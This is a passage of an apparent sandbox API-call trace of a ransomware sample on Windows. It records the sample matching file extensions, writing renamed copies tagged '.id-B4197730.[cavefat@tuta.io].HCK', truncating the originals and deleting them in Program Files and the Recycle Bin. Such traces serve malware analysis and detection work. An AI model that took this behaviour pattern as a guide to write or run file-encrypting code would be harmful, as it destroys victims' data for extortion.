(lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[cavefat@tuta.io].hck")) returned 0x26 [0224.307] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0224.307] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0224.307] lstrlenW (lpString=".doc") returned 4 [0224.307] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0224.307] lstrlenW (lpString=".docx") returned 5 [0224.307] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0224.307] lstrlenW (lpString=".pdf") returned 4 [0224.307] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0224.307] lstrlenW (lpString=".xls") returned 4 [0224.307] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0224.307] lstrlenW (lpString=".xlsx") returned 5 [0224.307] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0224.307] lstrlenW (lpString=".ppt") returned 4 [0224.307] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0224.307] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0224.307] lstrlenW (lpString=".zip") returned 4 [0224.307] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0224.307] lstrlenW (lpString=".rar") returned 4 [0224.307] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0224.307] lstrlenW (lpString=".bz2") returned 4 [0224.307] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0224.307] lstrlenW (lpString=".7z") returned 3 [0224.307] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0224.307] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0224.307] lstrlenW (lpString=".dbf") returned 4 [0224.307] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0224.307] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0224.307] lstrlenW (lpString=".1cd") returned 4 [0224.307] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0224.307] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0224.307] lstrlenW (lpString=".jpg") returned 4 [0224.307] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0224.308] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0224.308] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0224.308] lstrlenW (lpString=".doc") returned 4 [0224.308] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0224.308] lstrlenW (lpString=".docx") returned 5 [0224.308] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0224.308] lstrlenW (lpString=".pdf") returned 4 [0224.308] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0224.308] lstrlenW (lpString=".xls") returned 4 [0224.308] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0224.308] lstrlenW (lpString=".xlsx") returned 5 [0224.308] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0224.308] lstrlenW (lpString=".ppt") returned 4 [0224.308] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0224.308] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0224.308] lstrlenW (lpString=".zip") returned 4 [0224.308] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0224.308] lstrlenW (lpString=".rar") returned 4 [0224.308] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0224.308] lstrlenW (lpString=".bz2") returned 4 [0224.308] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0224.308] lstrlenW (lpString=".7z") returned 3 [0224.308] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0224.308] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0224.308] lstrlenW (lpString=".dbf") returned 4 [0224.308] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0224.308] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0224.308] lstrlenW (lpString=".1cd") returned 4 [0224.308] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0224.308] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0224.308] lstrlenW (lpString=".jpg") returned 4 [0224.308] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0224.308] Sleep (dwMilliseconds=0x64) [0224.519] Sleep (dwMilliseconds=0x64) [0224.827] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0224.827] lstrlenW (lpString="base_kor.xml") returned 12 [0224.827] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0225.036] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=488) returned 1 [0225.037] CloseHandle (hObject=0x434) returned 1 [0225.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0x20 [0225.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0225.037] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0225.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0225.037] lstrlenW (lpString=".doc") returned 4 [0225.037] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0225.037] lstrlenW (lpString=".docx") returned 5 [0225.037] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0225.037] lstrlenW (lpString=".pdf") returned 4 [0225.037] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0225.037] lstrlenW (lpString=".xls") returned 4 [0225.037] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0225.037] lstrlenW (lpString=".xlsx") returned 5 [0225.037] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0225.037] lstrlenW (lpString=".ppt") returned 4 [0225.037] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0225.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0225.037] lstrlenW (lpString=".zip") returned 4 [0225.037] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0225.037] lstrlenW (lpString=".rar") returned 4 [0225.037] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0225.037] lstrlenW (lpString=".bz2") returned 4 [0225.037] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0225.037] lstrlenW (lpString=".7z") returned 3 [0225.037] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0225.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0225.037] lstrlenW (lpString=".dbf") returned 4 [0225.037] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0225.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0225.037] lstrlenW (lpString=".1cd") returned 4 [0225.037] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0225.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0225.037] lstrlenW (lpString=".jpg") returned 4 [0225.038] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0225.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0225.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0225.038] lstrlenW (lpString=".doc") returned 4 [0225.038] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0225.038] lstrlenW (lpString=".docx") returned 5 [0225.038] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0225.038] lstrlenW (lpString=".pdf") returned 4 [0225.038] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0225.038] lstrlenW (lpString=".xls") returned 4 [0225.038] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0225.038] lstrlenW (lpString=".xlsx") returned 5 [0225.038] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0225.038] lstrlenW (lpString=".ppt") returned 4 [0225.038] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0225.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0225.038] lstrlenW (lpString=".zip") returned 4 [0225.038] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0225.038] lstrlenW (lpString=".rar") returned 4 [0225.038] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0225.038] lstrlenW (lpString=".bz2") returned 4 [0225.038] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0225.038] lstrlenW (lpString=".7z") returned 3 [0225.038] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0225.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0225.038] lstrlenW (lpString=".dbf") returned 4 [0225.038] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0225.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0225.038] lstrlenW (lpString=".1cd") returned 4 [0225.038] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0225.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0225.038] lstrlenW (lpString=".jpg") returned 4 [0225.038] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0225.038] Sleep (dwMilliseconds=0x64) [0225.483] Sleep (dwMilliseconds=0x64) [0225.842] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0225.843] lstrlenW (lpString="J0090089.WMF") returned 12 [0225.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0226.142] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=15760) returned 1 [0226.142] CloseHandle (hObject=0x49c) returned 1 [0226.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf")) returned 0x220 [0227.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0x20 [0227.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0227.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0227.764] lstrlenW (lpString=".doc") returned 4 [0227.764] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.764] lstrlenW (lpString=".docx") returned 5 [0227.764] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0227.764] lstrlenW (lpString=".pdf") returned 4 [0227.764] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.764] lstrlenW (lpString=".xls") returned 4 [0227.764] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.764] lstrlenW (lpString=".xlsx") returned 5 [0227.764] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0227.764] lstrlenW (lpString=".ppt") returned 4 [0227.764] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0227.764] lstrlenW (lpString=".zip") returned 4 [0227.764] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.764] lstrlenW (lpString=".rar") returned 4 [0227.764] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.764] lstrlenW (lpString=".bz2") returned 4 [0227.764] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.764] lstrlenW (lpString=".7z") returned 3 [0227.764] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0227.764] lstrlenW (lpString=".dbf") returned 4 [0227.764] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0227.764] lstrlenW (lpString=".1cd") returned 4 [0227.764] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0227.764] lstrlenW (lpString=".jpg") returned 4 [0227.764] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0227.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0227.847] lstrlenW (lpString=".doc") returned 4 [0227.848] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.848] lstrlenW (lpString=".docx") returned 5 [0227.848] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0227.848] lstrlenW (lpString=".pdf") returned 4 [0227.848] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.848] lstrlenW (lpString=".xls") returned 4 [0227.848] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.848] lstrlenW (lpString=".xlsx") returned 5 [0227.848] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0227.848] lstrlenW (lpString=".ppt") returned 4 [0227.848] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0227.848] lstrlenW (lpString=".zip") returned 4 [0227.848] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.848] lstrlenW (lpString=".rar") returned 4 [0227.848] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.848] lstrlenW (lpString=".bz2") returned 4 [0227.848] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.848] lstrlenW (lpString=".7z") returned 3 [0227.848] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0227.848] lstrlenW (lpString=".dbf") returned 4 [0227.848] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0227.848] lstrlenW (lpString=".1cd") returned 4 [0227.848] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0227.848] lstrlenW (lpString=".jpg") returned 4 [0227.848] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.848] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0227.849] lstrlenW (lpString="J0099170.WMF") returned 12 [0227.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0227.851] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=24292) returned 1 [0227.851] CloseHandle (hObject=0x4ac) returned 1 [0227.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf")) returned 0x220 [0227.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0227.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0227.852] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.852] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0227.855] GetLastError () returned 0x0 [0227.855] ReadFile (in: hFile=0x4ac, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x5ee4, lpOverlapped=0x0) returned 1 [0227.863] WriteFile (in: hFile=0x3e4, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x5ef0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x5ef0, lpOverlapped=0x0) returned 1 [0227.865] ReadFile (in: hFile=0x4ac, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0227.865] WriteFile (in: hFile=0x3e4, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0227.865] SetEndOfFile (hFile=0x3e4) returned 1 [0227.865] CloseHandle (hObject=0x3e4) returned 1 [0227.865] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.865] SetEndOfFile (hFile=0x4ac) returned 1 [0227.877] CloseHandle (hObject=0x4ac) returned 1 [0227.877] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0227.878] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf")) returned 1 [0227.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0227.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0227.878] lstrlenW (lpString=".doc") returned 4 [0227.878] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.878] lstrlenW (lpString=".docx") returned 5 [0227.878] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0227.878] lstrlenW (lpString=".pdf") returned 4 [0227.878] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.878] lstrlenW (lpString=".xls") returned 4 [0227.878] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.878] lstrlenW (lpString=".xlsx") returned 5 [0227.878] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0227.878] lstrlenW (lpString=".ppt") returned 4 [0227.878] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0227.878] lstrlenW (lpString=".zip") returned 4 [0227.878] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.878] lstrlenW (lpString=".rar") returned 4 [0227.878] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.879] lstrlenW (lpString=".bz2") returned 4 [0227.879] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.879] lstrlenW (lpString=".7z") returned 3 [0227.879] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0227.879] lstrlenW (lpString=".dbf") returned 4 [0227.879] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0227.879] lstrlenW (lpString=".1cd") returned 4 [0227.879] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0227.879] lstrlenW (lpString=".jpg") returned 4 [0227.879] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0227.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0227.879] lstrlenW (lpString=".doc") returned 4 [0227.879] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.879] lstrlenW (lpString=".docx") returned 5 [0227.879] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0227.879] lstrlenW (lpString=".pdf") returned 4 [0227.879] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.879] lstrlenW (lpString=".xls") returned 4 [0227.879] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.879] lstrlenW (lpString=".xlsx") returned 5 [0227.879] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0227.879] lstrlenW (lpString=".ppt") returned 4 [0227.879] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0227.879] lstrlenW (lpString=".zip") returned 4 [0227.879] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.879] lstrlenW (lpString=".rar") returned 4 [0227.879] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.879] lstrlenW (lpString=".bz2") returned 4 [0227.879] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.879] lstrlenW (lpString=".7z") returned 3 [0227.879] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0227.879] lstrlenW (lpString=".dbf") returned 4 [0227.879] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0227.879] lstrlenW (lpString=".1cd") returned 4 [0227.879] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0227.880] lstrlenW (lpString=".jpg") returned 4 [0227.880] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.880] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0227.880] lstrlenW (lpString="J0099171.WMF") returned 12 [0227.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0227.880] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=8754) returned 1 [0227.880] CloseHandle (hObject=0x4ac) returned 1 [0227.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf")) returned 0x220 [0227.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0227.881] CreateFileW 